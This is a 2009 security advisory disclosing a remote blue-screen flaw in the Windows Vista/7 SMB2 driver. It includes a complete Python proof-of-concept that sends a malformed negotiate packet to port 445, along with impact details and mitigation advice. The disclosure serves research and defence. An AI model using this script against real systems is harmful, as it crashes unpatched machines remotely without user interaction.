=============================================
- Release date: September 7th, 2009
- Discovered by: Laurent Gaffié
- Severity: Medium/High
=============================================

I. VULNERABILITY
-------------------------
Windows Vista/7 : SMB2.0 NEGOTIATE PROTOCOL REQUEST Remote B.S.O.D.

II. BACKGROUND
-------------------------
Windows vista and newer Windows comes with a new SMB version named SMB2.
See:
http://en.wikipedia.org/wiki/Windows_Vista_networking_technologies#Server_Message_Block_2.0
for more details.

III. DESCRIPTION
-------------------------
SRV2.SYS fails to handle malformed SMB headers for the NEGOTIATE PROTOCOL
REQUEST functionnality.
The NEGOTIATE PROTOCOL REQUEST is the first SMB query a client send to a SMB
server, and it's used
to identify the SMB dialect that will be used for futher communication.

IV. PROOF OF CONCEPT
-------------------------

Smb-Bsod.py:

#!/usr/bin/python
# When SMB2.0 recieve a "&" char in the "Process Id High" SMB header field
it dies with a
# PAGE_FAULT_IN_NONPAGED_AREA

from socket import socket
from time import sleep

host = "IP_ADDR", 445
buff = (
"\x00\x00\x00\x90" # Begin SMB header: Session message
"\xff\x53\x4d\x42" # Server Component: SMB
"\x72\x00\x00\x00" # Negociate Protocol
"\x00\x18\x53\xc8" # Operation 0x18 & sub 0xc853
"\x00\x26"# Process ID High: --> :) normal value should be "\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe"
"\x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54"
"\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31"
"\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"
"\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57"
"\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61"
"\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c"
"\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c"
"\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e"
"\x30\x30\x32\x00"
)
s = socket()
s.connect(host)
s.send(buff)
s.close()

V. BUSINESS IMPACT
-------------------------
An attacker can remotly crash without no user interaction, any Vista/Windows
7 machine with SMB enable.
Windows Xp, 2k, are NOT affected as they dont have this driver.

VI. SYSTEMS AFFECTED
-------------------------
Windows Vista/7 All (64b/32b|SP1/SP2 fully updated) and possibly Win Server
2008
as it use the same SMB2.0 driver (not tested).

VII. SOLUTION
-------------------------
Vendor contacted, but no patch available for the moment.
Close SMB feature and ports, until a patch is provided.

VIII. REFERENCES
-------------------------
http://microsoft.com

IX. CREDITS
-------------------------
This vulnerability has been discovered by Laurent Gaffié
Laurent.gaffie{remove-this}(at)gmail.com
http://g-laurent.blogspot.com/

X. LEGAL NOTICES
-------------------------
The information contained within this advisory is supplied "as-is"
with no warranties or guarantees of fitness of use or otherwise.
I accept no responsibility for any damage caused by the use or
misuse of this information.